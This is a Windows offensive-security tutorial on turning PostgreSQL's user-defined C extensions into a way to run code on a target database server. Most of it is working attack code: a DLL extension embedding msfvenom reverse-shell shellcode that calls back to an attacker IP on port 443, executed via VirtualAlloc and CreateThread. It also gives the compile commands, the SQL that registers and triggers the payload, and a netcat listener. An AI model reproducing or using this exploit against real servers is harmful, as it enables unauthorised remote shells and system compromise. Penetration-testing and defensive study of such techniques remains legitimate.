Postgresql Extension Shellcode Execution

Postgresql allows us to create our own user defined functions (UDF) from existing or custom extensions (as DLL files on Microsoft Windows).

This is particularly useful when it comes to gain access to a target system when we control SQL execution flow and have sufficient privilege to create and user Postgres UDF.

Requirements

Local Postgresql Server

To maximise the chance to succeed executing our own Postgres extension, it is very important to extract the version of target Postgres server and install the exact same version in your own lab environment.

In our case, we are targeting a PostgreSQL 13.1 64-bit

It is also important to note the target Postgres architecture (in our case x86-64). Depending on target architecture we will need to compile our custom extension wether in 32 or 64bit.

Installing Postgresql will also automatically extract required C header files to build our own extension. This is why it is so important to compile our custom extension in an environment with the exact same version of Postgresql server available since those files might change between two version.

Those C header files are generally located at this path : C:\Program Files\PostgreSQL\<pg_version>\include

Where pg_version is the version of Postgresql we want to target (in our case, version 13.x).

C Compiler

To compile our custom extension, we will need to have a C compiler installed and supporting the correct architecture.

We will use MinGw C 64bit compiler that comes as an extra package of Cygwin.

Feel free to use and adapt the build process with your favorite C compiler / IDE.

Create a very basic extension.

minimal_extension.c

#include "postgres.h" // Required postgres C header file
#include "fmgr.h" // Required postgres C header file

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; // Used by postgresql to recognize a valid extension
#endif

/*
    Define which functions can be used by postgres. In our case just "custom_func"
*/
PGDLLEXPORT Datum custom_func(PG_FUNCTION_ARGS); 
PG_FUNCTION_INFO_V1(custom_func);

/*
    Our custom function code goes there
*/
Datum
custom_func(PG_FUNCTION_ARGS)
{
      OutputDebugStringW(L"Hello from postgresql extension.");

    PG_RETURN_VOID();
}

Above code is the minimal required code to build our own Postgresql extension.

On Microsoft Windows, Postgresql extension are compiled as DLL files.

We can compile our extension code using the following command:

x86_64-w64-mingw32-gcc.exe minimal_extension.c -c -o minimal_extension.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

Are required postgresql header files locations.

We then can build our DLL file using the following command:

x86_64-w64-mingw32-gcc.exe -o minimal_extension.dll -s -shared minimal_extension.o -Wl,--subsystem,windows

Load extension

We will use the PgAdmin tool to run our custom SQL queries to load and test our custom extension.

CREATE OR REPLACE FUNCTION custom_func() RETURNS void AS '<extension_path>', 'custom_func' LANGUAGE C STRICT;

Where extension_path is the location of our DLL file.

A little popup should say that query were successfully executed.

Call extension function

First let’s open a privileged DebugView.exe instance to catch our OutputDebugString. Be sure to have Capture > Capture Global Win32 option checked.

We can now call our newly registered function from our custom extension using a basic SELECT statement.

SELECT custom_func();

We should now see our message in DebugView window.

Success! We are now free to replace our basic OutputDebugString with more complex code and take advantage of Postgres extension to gain privileged access on a target machine.

Unregister function

During development process, we will often need to patch our custom extension. Our DLL file is currently loaded by postgres process so the file is locked and can’t be patched as is.

We can simply first unregister our custom function declaration using the following SQL statement

DROP FUNCTION IF EXISTS custom_func;

Then open our Microsoft Service manager and restart postgres service.

This will unlock our DLL file.

Shellcode Execution

We now know how to create and execute code from custom extension through postgres extension capabilities.

We will now create a new version of our extension to execute shellcode payloads.

We will use Metasploit Msfvenom to create our payload.

And use a classic technique to copy our payload to a new allocated memory region and create a new thread starting code execution at this new location.

This will prevent our current postgres thread to hang when executing payload.

—warning— Don’t forget to replace current defined payload with your own version. —end—

PgShellcodeExt.c

#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; 
#endif

// msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=172.16.20.6 LPORT=443 -f c -v payload
unsigned char payload[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
    "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
    "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x10\x14\x06\x41\x54"
    "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
    "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
    "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
    "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
    "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
    "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
    "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
    "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
    "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
    "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
    "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
    "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
    "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
    "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
    "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

PGDLLEXPORT Datum shellcode(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(shellcode);

Datum
shellcode(PG_FUNCTION_ARGS)
{
    /*
        Classic method to load a shellcode in memory and create/execute a new thread at it location.
    */
    LPVOID p = VirtualAlloc(NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

    DWORD dwThreadId;

    MoveMemory(p, &payload, sizeof(payload));

    CreateThread(NULL, 0, p, NULL, 0, &dwThreadId);

    PG_RETURN_VOID();
}

x86_64-w64-mingw32-gcc.exe PgShellcodeExt.c -c -o PgShellcodeExt.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

x86_64-w64-mingw32-gcc.exe -o PgShellcodeExt.dll -s -shared PgShellcodeExt.o -Wl,--subsystem,windows

We can now open a new local netcat listener on our attacker’s machine.

user@local:$ nc -lvp 443

And then register and trigger our custom extension with following SQL statement (still from our PgAdmin instance)

-- Register new function
CREATE OR REPLACE FUNCTION shellcode() RETURNS void AS 'C:\Users\Jean-Pierre LESUEUR\Desktop\PgShellcodeExt\PgShellcodeExt.dll', 'shellcode' LANGUAGE C STRICT;

-- Trigger function
SELECT shellcode();

-- Delete function
DROP FUNCTION IF EXISTS shellcode;

Checking our local netcat listener reveal we’ve successfully received our reverse shell.

Conclusion

This paper demonstrated how to take advantage of postgres extension capabilities to execute shellcode.

But it will need more efforts in production to be usable.

Feel free to port this example to another operating system (ex: Linux). Most of the thing are very similar.

We will probably post another paper on this subject for Linux.

Written the Nov. 27, 2020, 11:14 a.m. by Jean-Pierre LESUEUR

Updated: 1 month, 3 weeks ago.